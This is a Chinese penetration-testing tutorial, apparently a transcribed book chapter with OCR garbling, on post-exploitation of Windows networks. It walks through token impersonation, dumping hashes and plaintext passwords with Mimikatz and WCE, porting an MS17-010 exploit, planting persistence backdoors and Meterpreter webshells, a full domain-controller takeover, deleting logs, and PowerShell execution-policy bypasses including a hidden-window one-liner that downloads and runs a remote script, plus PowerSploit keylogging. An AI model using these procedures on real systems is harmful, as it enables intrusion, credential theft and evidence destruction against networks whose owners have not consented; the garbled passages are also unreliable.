令牌( Token)就是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。

令牌zui大的特点就是随机性,不可预测,一般黑客或软件无法猜测出来。令牌有很多种,比如访问令牌( Access Token)表示访问控制操作主题的系统对象;密保令牌( Security token),又叫作认证令牌或者硬件令牌,是一种计算机身份校验的物理设备,例如U盾:会话令牌( Session Token)是交互会话中唯一的身份标识符

在假冒令牌攻击中需要使用 Kerberos协议。所以在使用假冒令牌前,先来介绍Kerberos协议。 Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机服务器应用程序提供强大的认证服务。 Kerberos的工作机制如图5-55所示。

客户端请求证书的过程如下所示。

1.客户端向认证服务器(AS)发送请求,要求得到服务器的证书。

2.AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器 :ticket(包括服务器密钥加密的客户机身份和一份会话密钥)和个临时加密密钥(又称为会话密钥, session key)。当然,认证服务器也会给服务器发送一份该证书,用来使服务器认证登录客户端的身份

3.客户端将 ticket传送到服务器上,服务器确认该客户端的话,便允许它登录服务器。

4.客户端登录成功后,攻击者就可以通过入侵服务器获取客户端的令牌。

二.假冒令牌实战利用

假设我们通过一系列前期渗透,已经成功获得了目标机的Meterpreter Shell,首先输入getuid命令查看已经获得的权限,然后输入getsystem,发现提权失败。

我们先输入use incognito命令,然后输入list_token -u列出可用的token。

令牌有两种类型:一种是Delegation tokens,也就是授权令牌,支持交互式登录;另一种就是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。

知识点:在输入HOSTNAME\USERNAME时需要输入两个反斜杠(\\)。

  • Hash攻击
  • 使用Hashdump抓取密码

Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。

在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash。

在非SYSTEM权限下运行hashdump命令会失败,而另一个模块smart_hashdump的功能更强大,可以导出域所有用户的Hash,其工作流程如下:

这里要注意如果目标机的系统是Windows 7,而且开启了UAC,获取Hash就会失败,这是需要先使用绕过UAC的后渗透攻击模块。

可以使用暴力或者彩虹列表对抓取到的Hash进行破解,个人推荐http://www.cmd5.com/或者http://www.xmd5.com/这两个网站。

  • 使用Quarks PwDump抓取密码

Pwdump是一款Win32环境下的系统授权信息导出工具,目前没有任何一款工具可以导出如此全面的信息、支持这么多的OS版本,而且相当稳定。

它目前可以导出:

1.Local accounts NT/LM hashes+ history2本机NTLM哈希+历史登录记录。

2.Domain accounts NT/LM hashes+ history域中的NTLM哈希+历史登录记录。

3.Cached domain password缓存中的域管理密码。

4.Bitlocker recovery information (recovery passwords & key packages)使用Bitlocker的恢复功能后遗留的信息(恢复密码&关键包)

Pwdump支持的操作系统为 Windows XP/Windows2003 Windows Vista/Windows7/Windows 2008/Windows 8

在 Windows的密码系统中,密码以加密的方式保存在/ windows/system32 config下的sam文件里,而账号在登录后会将密码的密文和明文保存在系统的内存中。正常情况下系统启动后,sam文件是不能被读取的,但是 Pwdumpi就能读取sam。直接运行 Quarks Pwdump. exe,如图5-61所示,默认显示帮助信息,其参数含义如下所示。

三.使用 Windows Credentials Editor抓取密码

首先输入 upload命令将wce.exe上传到目标主机C盘中,然后在目标机shel下输入wce -w命令,便会成功提取系统明文管理员的密码。

默认使用-1命令读取数据格式username: domain:lm:ntlm(这种读取是从内存中读取己经登录的信息,而不是读取sam数据库中的信息),默认的读取方式是先用安全的方式读取,若读取失败再用不安全的方式,所以很有可能对系统造成破坏。这里建议使用-f参数强制使用安全的方式读取。-g参数是用来计算密码的,就是制定一个系统明文会使用的加密方法来计算密文。

-c参数用于指定会话来执行cmd,-v参数用于显示详细信息,这样才能看到luid信息,-w参数是zui关键的,用于查看已登录的明文密码。

  • 使用Mimikatz抓取密码

Mimikatz可以帮助安全测试人员轻松抓取系统密码。

Metasploiti已经将其作为一个 Meterpreterl脚本集成了,以便用户使用,而不需要上传该软件到目标主机上。

Mimikatz必须在管理员权限下使用,此时假设我们通过一系列前期渗透,已经成功获得目标机的 Meterpreter Shell(过程略),当前权限为 Administrator,,输入 geosystem命令获取了系统权限。

获取系统 SYSTEM权限后,首先查看目标机器的架构。虽然 Mimikatzl同时支持32位和64位的 Windows架构,但如果服务器是64位操作系统,直接使用 Mimikatz)后,Meterpretera会默认加载一个32位版本的 Mimikatz3到内存,使得很多功能无效。而且在64位操作系统下必须先查看系统进程列表,然后在加载 Mimikatz之前将进程迁移到64位程序的进程中,才能查看系统密码明文,在32位操作系统下就没有这个限制。这里输入 sysint命令。

这是一个32位的机器,我们直接加载Mimikatz模块,并查看帮助。

Mimikatz_command选项可以让我们使用Mimikatz的全部功能,需要通过加载一个错误的模块 得到可用模块的完整列表。

我们可以使用“::”语法请求某个模块可用的选项,选定一个模块后也可以使用“::”查看本模块的帮助,例如查看Hash的可用选项有lm和ntlm两种。

知道了 Mimikatze的大概使用方法后,我们既可以使用 Metasploit内建的命令,也可以使用 Mimikatz自带的命令从目标机器上导出Hash和明文证书接着直接输入msv命令抓取系统Hash值。

输入kerberos命令可以抓取系统票据。

输入wdigest命令可以获取系统账户信息。

接着输入samdump命令查看samdump的可用选项,然后输入mimikatz_command - f samdump::hashes命令抓取Hash。

抓到的目标机的三个用户Administrator、shuteer和text的密码都一样,通过CMD5解密,得知密码为1。

Mimikatz除了可以抓取Hash,还有很多其他功能,例如使用Handle模块、list/kill进程,以及模拟用户令牌。

使用Service模块可以list/start/stop/remove Windows的服务。

使用Crypto模块可以list/export任何证书,以及储存在目标机器上的相应私钥。

后渗透攻击:移植漏洞利用代码模块

Metasploitk成为全球zui受欢迎的工具之一,不仅是因为它的方便性和强大性,更重要的是它的框架。 Metasploitz本身虽然集合了大量的系统漏洞利用代码模块,但并没有拥有所有的漏洞代码,它允许使用者开发自己的漏洞模块,从而进行测试,这些模块可能是用各种语言编写的,例如Pen、 Pythons等, Metasploit支持各种不同语言编写的模块移植到其框架中,通过这种机制可以将各种现存的模块软件移植成为与Metasploitz兼容的渗透模块。所以说,允许使用者开发自己的漏洞模块,是 Metasploit非常强大且非常重要的功能。

  • MS17-010漏洞简介、原理及对策

MS17-010漏洞利用模块就是利用 Windows系统的 Windows SMBI远程执行代码漏洞,向 Microsoft服务器消息块(SMBv1)服务器发送经特殊设计的消息后,允许远程代码执行。成功利用这些漏洞的攻击者即可获得在目标系统上执行代码的权力为了利用此漏洞,在多数情况下,未经身份验证的攻击者可能会向目标SMBv1服务器发送经特殊设计的数据包,从而实现成功攻击。

  • 移植并利用MS17-010漏洞利用代码

MS17-010的漏河利用模块 Metasploitk虽然已经集成,但是经过测试后装发现不支持港透 Windows2003系统,但是网络上有支持的港透脚本,其 GitHub下我地址为https://github.com/Elevenpaths/Eternalblue-Doublepulsar-Metasploit/。

首先将该漏洞利用模块克隆到本地文件夹。

接着将eternalblue_doublepulsar-Metasploit文件夹下的eternalblue_doublepulsar.rb复制到/usr/share/metasploit-framework/modules/exploits/windows/smb下,在Metasploit中,了解漏洞利用代码模块存储的文件夹位置非常重要,不仅有助于寻找不同模块的所在位置,也有助于读者理解Metasploit框架的基本用法。

现在去MSF下面重新加载全部文件。

现在就可以搜到脚本了,输入use命令加载该模块。

将MS17-010漏洞利用代码移植到Metasploit框架后,就可以开始渗透测试了,在攻击之前要先生成一个DLL文件,如果目标机是32位的系统就生成32位的DLL,是64位的系统就生成64位的DLL。这里涉及免杀,可以使用PowerShell下的Empire生成DLL在第6.3.4节中会具体讲解。这里使用MSF自带的Msfvenom命令生成。

在使用该漏洞模块时,要按照实际情况设置以下参数。

全部设置完成后,如图5-83所示。

这里输入exploit或者run命令发动攻击,成功后会顺利得到一个Meterpreter会话。

至此,我们已经成功利用MS17-010漏洞完成入侵。

因为该漏洞危害极大,读者一定要严格做好如下防御措施

后渗透攻击:后门

在完成了提升权限之后,我们就应该建立后门( backdoor)了,以维持对目标主机的控制权。这样一来,即使我们所利用的漏洞被补丁程序修复,还可以通过后门继续控制目标系统。

简单地说,后门就是一个留在目标主机上的软件,它可以使攻击者随时连接到目标主机。大多数情况下,后门是一个运行在目标主机上的隐藏进程,它允许一个普通的、未经授权的用户控制计算机。

  • 操作系统后门

后门泛指绕过目标系统安全控制体系的正规用户认证过程,从而维持我们对目标系统的控制权,以及隐匿的控制行为的方法。

  • Cymothoa后门

Cymothoa是一款可以将ShellCode注入现有进程(即插进程)的后门工具。借助这种注入手段,它能够把ShellCode伪装成常规程序。它所注入的后门程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将ShellCode注入其他进程,还有另外一项优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,就发现不了(插进程)后门程序的进程。

值得一提的是该后门注入系统的某一进程,反弹的是该进程相应的权限(并不需要root)。当然,因为后门是以运行中的程序为宿主,所以只要进程关闭或者目标主机重启,后门就会停止运行。

首先可查看程序的PID(在Linux系统下输入ps-aux命令,在Windows系统下输入 tasklist命令)。

在使用Cymothoa时,需通过-p选项制定目标进程的PID,并通过-s选项指定ShellCode的编号。

成功渗透目标主机后,就可以把Cymothoa的可执行程序复制到目标主机上,生成后门程序。例如,这里选择PID为982的进程为宿主进程,选用第一类ShellCode,指定Payload服务端口为4444

成功后就可以通过以下命令连接目标主机的后门(4444号端口)。

二.Persistence后门

Persistence是一款使用安装自启动方式的持久性后门程序,读者可以利用它创建注册和文件。首先输入run persistence-h查看用到的所有命令选项。

接着输入以下命令创建一个持续性的后门。

语法解释:

A:自动启动Payload程序。

S:系统启动时自动加载。

U:用户登录时自动启动。 X:开机时自动加载。

i:回连的时间间隔。

P:监听反向连接端口号。

r:目标机器IP地址。

可以看到,Meterpreter会话已经在目标机器系统中建立起来了,现在输入sessions命令查看已经成功获取的会话,可以看到当前有两个连接。

知识点:这个脚本需要在目标机器上创建文件从而触发杀毒软件,建议运行前关闭杀毒软件。

  • Web后门

Web后门泛指WebShell,其实就是一段网页代码,包括ASP、ASPNET、PHP、 JSP代码等。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行一些危险的操作获得某些敏感的技术信息,或者通过渗透操作提权,从而获得服务器的控制权。这也是攻击者控制服务器的一个方法,比一般的入侵更具隐蔽性。

Web后门能给攻击者提供非常多的功能,例如执行命令、浏览文件、辅助提权、执行SQL语句、反弹Shell等。 在Kali下,用的比较多的就是Weevely,Weevely支持的功能很强大,使用http头进行指令传输,唯一的缺点就是只支持PHP。其实Metasploit框架中也自带了Web后门,配合Meterpreter使用时,功能更强大。

  • Meterpreter后门

在Metasploit中,有一个名为PHP Meterpreter的Payload,利用这个模块可创建具有Meterpreter功能的PHP WebShell。在攻击中使用Metasploit PHP Shell的步骤如下所示。

5.获得反弹的Metasploit Shell。

我们可以通过Metasploit的msfvenom工具制作PHPMeterpreter。

然后将shuteer.php上传到目标服务器,因为是虚拟机,直接复制到Kali下的/var/www/html目录,打开WebShell网址。

接着启动Msfconsole,使用以下命令设置监听,如图5-94所示。

然后打开http://127.0.0.1/shuteer.php。

回到MSF下面,可以看到服务端已经反弹成功。

zui后使用sysinfo和getuid等Meterpreter命令渗透目标主机。

二.Aspx Meterpreter后门

本节要介绍的是Metasploit下名为shell_reverse_tcp的Payload,利用这个模块可创建具有Meterpreter功能的各版本ShellCode,例如比较常见的Asp、Aspx、msi、vbs、 war等,下面以Aspx为例。

在攻击中使用Aspx Meterpreter后门的步骤和Metasploit PHP Shell的大概相同。首先使用下列代码调用该模块,并设置相关参数。如下所示。

show payloads

use windows/shell_reverse_tcp

info

set lhost 192.168.31.247

set lport 4444

save

接着输入generate -h命令查看帮助命令。

生成各版本ShellCode的命令如下所示。

generate -t asp //生成Asp 版的 ShellCode

generate -t aspx //生成Aspx版的 ShellCode

这里生成一个Aspx版的WebShell

我们把内容保存为aspx.aspx,再上传到目标服务器,这里因为是虚拟机所以直接复制到Windows 2012下的C:/inetpub/wwwroot目录。

接着启动Msfconsole,使用以下命令设置监听。

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set Lhost 192.168.31.247

set 1port 4444 run

然后打开http://192.168.31.250/aspx.aspx,

回到MSF下面,可以看到服务端已经反弹成功。

zui后可以使用sysinfo和getuid等Meterpreter命令渗透目标主机。

  • 内网攻击域渗透测试实例
  • 介绍渗透环境

首先介绍此次渗透的环境:假设我们现在已经渗透了一台服务器PAVMSEF21,该服务器内网IP为10.51.0.21。扫描后发现内网网络结构大概如图5-102所示,其中PAVMSEF21是连接外网和内网的关键节点,内网的其他服务器均不能直接连接。

我们的渗透目标是通过一个普通的WebShell权限一步步地获得域管权限,从而掌握整个内网。

  • 提升权限

上传免杀的Payload到机器名为PAVMSEF21、IP为10.51.0.21的服务器上,然后在“中国菜刀”或者WebShell下运行。

获得Meterpreter Shell后要做的第一件事情就是提权。通常,在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制,以必须将访问权限从Guset提升到User,再到Administrator,zui后到SYSTEM级别。

我们先尝试利用本地溢出漏洞提权,即使用本地漏洞的利用程序(Local Exploit)提升权限。也就是说,通过运行一些现成的、能造成溢出漏洞的Exploit,把用户从 User组或其他系统用户组提升到Administrator组(或root)。

此时,我们获取的权限是一个普通域用户权限。

首先利用本地溢出漏洞提权,发现服务器补丁打得很全,接着尝试使用MS15051和MS15078,都以失败告终。

再尝试绕过Windows账户控制(UAC),我们现在具有一个普通域用户的权限利用Bypass UAC模块提权,又以失败告终,如果成功会返回一个新的Meterpreter Shell。

使用BypassUAC模块进行提权时,系统当前用户必须在管理员组,而且用户账户控制程序UAC设置为默认,即“仅在程序试图更改我的计算机时通知我”,而且 Bypass UAC模块运行时会因为在目标机上创建多个文件而被杀毒软件识别。我们没能绕过UAC,可能是这两个原因。

其实提权没有成功也不要紧,我们还是可以以此服务器为跳板,攻击其他服务器的。

  • 信息收集

虽然此时的提权不成功,但还是可以进行域渗透测试的。有了内网的第一台机器的权限后,就到了很关键的一步--收集信息,它也是内网渗透中不可或缺的一部分。

首先要查看当前机器的网络环境,收集域里的相关信息,包括所有的用户、所有的计算机,以及相关关键组的信息,下面列出了常用的命令及其作用,

net user /domain: 查看域用户。

net view /domain: 查看有几个域。

net view /domain:XXX:查看域内的主机。

net group /domain: 查看域里面的组。

net group“domain computers”/domain:查看域内所有的主机名。

net group“domain admins”/domain: 查看域管理员。

net group “domain controllers” /domain: 查看域控制器。

net group “enterprise admins”/domain: 查看企业管理组。

nettime/domain: 查看时间服务器。

  • 获取一台服务器的权限

我们的目标是域服务器,此时有两种情况:当前服务器可以直接攻击域服务器和不可以直接攻击域服务器。不可以直接攻击又分为两种情况:如果是权限不够就需要提升权限;如果是不能连接到域服务器,则需要攻击内网中某个可以连接到域服务器的服务器,然后以此为跳板再攻击域服务器。

现在因为权限问题不可以直接攻击域服务器,可以采取以下方法继续渗透。

2.使用PowerShell对内网进行扫描(要求目标机是Windows 7以上的服务器)。

3.架设Socks4a,然后Socks会自动进行内网扫描。

4.利用当前权限进行内网IPCS渗透。

5.其他方法。

通过上面的分析,我们先选择zui简单的方法,输入net view命令,在列举的机器名里选择一个和我们机器名相似的服务器来试试,不出意外的话,成功率很高。

(五)PowerShell 寻找域管在线服务器

Windows PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell还允许将几个命令组合起来放到文件里执行,实现文件级的重用,也就是说具有脚本的性质。

这里先使PowerView脚本来获取当域管理员在线登录的服务器,我们将Power View脚本的Invoke-User Hunter模块上传到主机名为PAVMSEP131,IP为10.51.0.131的服务器中,然后输入Invoke-UserHunter。

具体命令如下所示。

powershell.exe -exec bypass -Command

“&{Import-Module .\powerview.ps1;Invoke-UserHunter}"

可以看到域管理员当前在线登录的机器主机名为PAVMSXD30,IP为10.51.0.30,此时需要入侵此服务器,然后将其迁移到域管理登录所在的进程,这样便拥有了域管理的权限。

(六)获取域管权限

现在笔者成功地获取主机名为PAVMSXD30,IP为10.51.0.30的服务器权限,接下来就可以渗透域控了。

首先输入getsystem命令提升权限。

可以看到笔者现在的UID是sonicwall,从前面获取的域管理员账号信息中已知 sonicwall是域管理员。

然后输入ps命令找到域管理所在的进程,把Meterpreter Shell进程迁移到此进程中,成功后就获得了域管理权限。

这里除了迁移进程,也可以使用Metasploit中的窃取令牌功能,同样能获得获得域管理权限。

接着查看主域控IP,这里使用nettime命令,一般来说时间服务器都是域服务器。

可以看到域服务器的主机名为PAVMSAD64,IP地址为10.51.0.63。

现在我们可以使用经典的IPCS入侵来反弹一个Meterpreter Shell。

提示at命令已经被弃用,因为目标机的系统是Windows 2012,现在使用schtasks命令来添加计划任务。因为现在已经在域管理员权限下面了,所以要给域控添加一个管理员账户。

利用如下命令确认账户是否添加成功。

可以看到已经添加了管理员账户。

(七)登录域控制

权限到手,登录域控制,然后抓域控的Hash。

常见的登录域控的方式有以下这几种。

5.使用Metasploit下的smb_login来反弹Meterpreter。

6.使用WMI(Windows Management Instrumentation)来进行攻击。

7.使用PsRemoting posershel远程执行命令。

8.其他一些方法。

这里采用zui常见也是效果更好的方式,即Metasploit下的PsExec来反弹Meterpreter,使用时要注意以下这两点,

1.MSF中的PsExec模块。

2.cuestom模块,建议使用类似Veil之类的工具来生成免杀的Payload。

可以看到一件反弹成功了,然后先迁移进程,查看域控的系统信息和sessions控制图。

思路:可以看到现阶段控制的session共有5个。sessionl为WebShell反弹,session2利用ipc$入侵,渗透session4的目的是获取域管在线服务器,session5为域。整个渗透过程一环套一环,环环相扣。

有了域控的权限,接着来抓Hash,常用方法有以下这几种。

(八)SMB爆破内网

有了域控的带码。接下来只要快速在内网扩大控制权限就好,其体操作如下所示

我们先在Metaskn东加路制,然后使特smb1ogin模块或者psexee scsnner模块进行爆彼。

可以看出,我们获取了大量内网服务器的密码,下面就可以畅游内网了。可以使用Meterpreter的端口转发,也可以使用Metasploit下的Socks4a模块或者第三方软件。

这里简单地使用Meterpreter的端口转发即可。

  • 清理日志

清理日志主要有以下几个步骤:

1.删除之前添加的域管理账号。

2.删除所有在渗透过程中使用过的工具。

3.删除应用程序、系统和安全日志。

4.关闭所有的Meterpreter连接。

常用的PowerShell攻击工具有以下这几种。
PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种
Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。
Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。
PowerCat:PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它。
6.1.1 PowerShell简介
PowerShell有以下这几个优点

  • Windows 7以上的操作系统默认安装。
  • PowerShell脚本可以运行在内存中,不需要写入磁盘。
  • 可以从另一个系统中下载PowerShell脚本并执行。
  • 目前很多工具都是基于PowerShell开发的。
  • 很多安全软件并不能检测到PowerShell的活动。
  • cmd.exe通常会被阻止运行,但是PowerShell不会。
  • 可以用来管理活动目录。

各个Windows系统下的PowerShell版本

可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看PowerShell版本

6.1.2 PowerShell的基本概念

1.PS1文件

一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。

2.执行策略

在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。

• Get-ExecutionPolicy。
Restricted:脚本不能运行(默认设置)。
•RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
• AllSigned:仅当脚本由受信任的发布者签名时才能运行。
• Unrestricted:允许所有的script运行。
读者还可以使用下面的cmdlet命令设置PowerShell的执行策略~
Set-ExecutionPolicy <policy name>

3.运行脚本

运行一个Powershell脚本,必须键入完整的路径和文件名。

4.管道

管道的作用是将一个命令的输入作为另一个命令的输入,两个命令之间用管道符号(|)连接。

6.1.3 PowerShell的常用命令

1.基本知识

下面以文件操作为例讲解Powershell命令的基本用法。

  • 新建目录:New-ltem whitecellclub-ItemType Directory。
  • 新建文件:New-Item light.txt-ItemType File。
  • 删除目录:Remove-Item whitecellclub。
  • 显示文本内容:Get-Content test.txt.
  • 设置文本内容:Set-Content test.txt-Value"hell, word!"。
  • 追加内容:Add-Content light.txt-Value"i love you"。
  • 清除内容:Clear-Content test.txt。

2.常用命令

还可以通过Windows终端提示符输入PowerShell,进入PowerShell命令行,输入help命令显示帮助菜单​

如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本,比如下面这三种。

绕过本地权限执行
上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。
PowerShell.exe-ExecutionPolicy Bypass-File xxx.ps1
本地隐藏绕过权限执行脚本
PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoLogo-
Nonlnteractive-NoProfile-File xxx.ps1

用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-
NoProfile-Nonl EX(New-ObjectNet.WebClient).DownloadString
("xxx.ps1");[Parameters]

下面对上述命令的参数进行说明,如下所示。

·ExecutionPolicyBypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShel的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
·WindowStyle Hidden:隐藏窗口
·NoL.ogo:启动不显示版仪标志的PowerShell.
·Nonlnteractive(-Nonl):非交互模式,PowerShell不为用户提供交互的提示
·NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
·Noexit:执行后不退出Shell.这在使用键盘记录等脚本时非常重要。
6.2 PowerSploit

PowerSploit是一款基于PowerShell的后渗透(Post-Exploitation)框架软件,包含很多PowerShell攻击脚本,它们主要用于渗透中的信息侦察、权限提升、权限维持,其GitHub地址为htps://github.com/PowerShelMafia/PowerSploit。

·AntivirusBypass:发现杀毒软件的查杀特征。

·CodeExecution:在目标主机上执行代码。

·Exfitration:目标主机上的信息搜集工具。

·Mayhem:蓝屏等破坏性脚本。

·Persistence:后门脚本(持久性控制)。

·Recon:以目标主机为跳板进行内网信息侦查。

·.SeriptModification:在目标主机上创建或修改脚本。

6.2.1PowerSploit的安装

下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。这里以kali服务器为例,介绍两种方式

第一种方式:

开启apache服务:service apache2 start

将powersploit目录放到/var/www/html/中

第二种方式:

切换到powersploit目录,然后执行如下命令开启WEB服务器

python3 -m http.server 8080

在浏览器中打开WEB服务器地址

6.2.2 PowerSploit脚本攻击实战

PowerSploit提供了各类攻击脚本,数量相当多,这里介绍一些在实战中使用比较多的脚本,其他的大家可以尝试使用。利用这些脚本一般是通过我们前期获取的目标shell,在命令行中远程下载这些脚本,在目标服务器上使用。为方便,这里我们直接在目标服务器做这些操作。

Invoke-Shellcode脚本
CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。

直接执行ShellCode反弹Meterpreter Shell

首先在MSF里使用reverse_https模块进行监听

使用msfvenom命令生成一个PowerShell脚本木马

接着在目标机Powershell下输入以下命令下载该脚本

接着输入以下命令下载木马

接着在PowerShell下运行该命令

-Force意思是不用提示,直接执行。返回MSF的监听界面下,发现已经反弹成功了。

Invoke-Portscan扫描端口
nvoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也很简单。

首先下载脚本

然后使用以下命令进行扫描,-Hosts为要扫描的目标IP,-Ports为要扫的端口,从下图可

以看到,扫描出该IP机器开放了80,22,4444端口

Invoke-Mimikatz 信息收集

Mimikatz本身在内网渗透中作用很大,PowerSploit将其集成到Exfiltration模块下,Mimikatz用来抓取主机密码,注意的是这个脚本的运行需要管理员权限。

然后载入脚本

然后使用以下命令进行抓取密码,如下图所示可以看到抓取到明文密码:654321

Get-Keystrokes 键盘记录器
Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,可以记录键盘输入记录,以及鼠标的点击情况,还能记录详细的时间

首先下载脚本

然后执行以下命令开启键盘记录

使用键盘输入一些内容,查看c:\windows\temp\key.txt中记录的内容

Get-TimedScreenshot 屏幕记录

Get-TimedScreenshot是Exfiltration模块下用来进行屏幕记录的脚本

首先下载脚本

运行脚本

注意这里Interval参数是记录的时间间隔,单位是秒,Path路径是一个存在的文件夹,记录的图片会保存在文件夹下

6.2.3 PowerUP攻击模块

Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。

首先进行加载,使用如下命令,然后就可以使用PowerUP中的所有模块了。或者上传本机加载

在源码中搜索function,看PowerUP有哪些模块

如果要查看各个模块的详细说明,可以输入get-help [cmdlet] –full命令查看,比如

Get-Help Invoke-AllChecks -full

下面开始对模块介绍:

1.Invoke-AllChecks 执行所有的脚本来检查。

执行方式:PS C:> Invoke-AllChecks

2.Find-PathDLLHijack 检查当前%PATH%是否存在哪些目录是当前用户可以写入的。

执行方式:PS C:>Find-Pathdllhijack

3. Get-ApplicationHost 从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。

执行方式:

PS C:>get-ApplicationHost

PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示

4. Get-RegistryAlwaysInstallElevated 检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。

执行方式:PS C:>Get-RegistryAlwaysInstallElevated

执行方式:PS C:> Get-RegistryAutoLogon

6. Get-ServiceDetail 返回某服务的信息。

执行方式: PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息

7. Get-ServiceFilePermission 检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。

执行方式:C:> Get-ServiceFilePermission

8. Test-ServiceDaclPermission

检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。

执行方式:PS C:>Test-ServiceDaclPermission

9. Get-ServiceUnquoted

检查服务路径,返回包含空格但是不带引号的服务路径。

此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。

比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe

执行方式:PS C:>Get-ServiceUnquoted

10. Get-UnattendedInstallFile 检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:

c:\sysprep\sysprep.xml

c:\sysprep\sysprep.inf

c:sysprep.inf

c:\windows\Panther\Unattended.xml

c:\windows\Panther\UnattendUnattended.xml

c:\windows\Panther\Unattend.xml

c:\windows\Panther\UnattendUnattend.xml

c:\windows\S\ystem32\Sysprep\unattend.xml

c:\windows\System32\Sysprep\Panther\unattend.xml

执行方式:PS C:> Get-UnattendedInstallFile

11. Get-ModifiableRegistryAutoRun 检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。

注册表检查的键值为:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService

执行方式:PS C:>Get-ModifiableRegistryAutoRun

12. Get-ModifiableScheduledTaskFile 返回当前用户能够修改的计划任务程序的名称和路径。

执行方式:PS C:>Get-ModifiableScheduledTaskFile

13. Get-Webconfig 返回当前服务器上的web.config文件中的数据库连接字符串的明文。

执行方式:PS C:>get-webconfig

14. Invoke-ServiceAbuse 用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。

执行方式:

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令

15. Restore-ServiceBinary 恢复服务的可执行文件到原始目录。

执行方式:PS C:> Restore-ServiceBinary -ServiceName VulnSVC

16. Test-ServiceDaclPermission 检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。

执行方式:PS C:> Restore-ServiceBinary -ServiceName VulnSVC

17. Write-HijackDll

输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。

18.Write-UserAddMSI 生成一个安装文件,运行这个安装文件,则弹出添加用户的框。

执行方式:PS C:> Write-UserAddMSI

19. Write-ServiceBinary 预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。

执行方式:

PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号

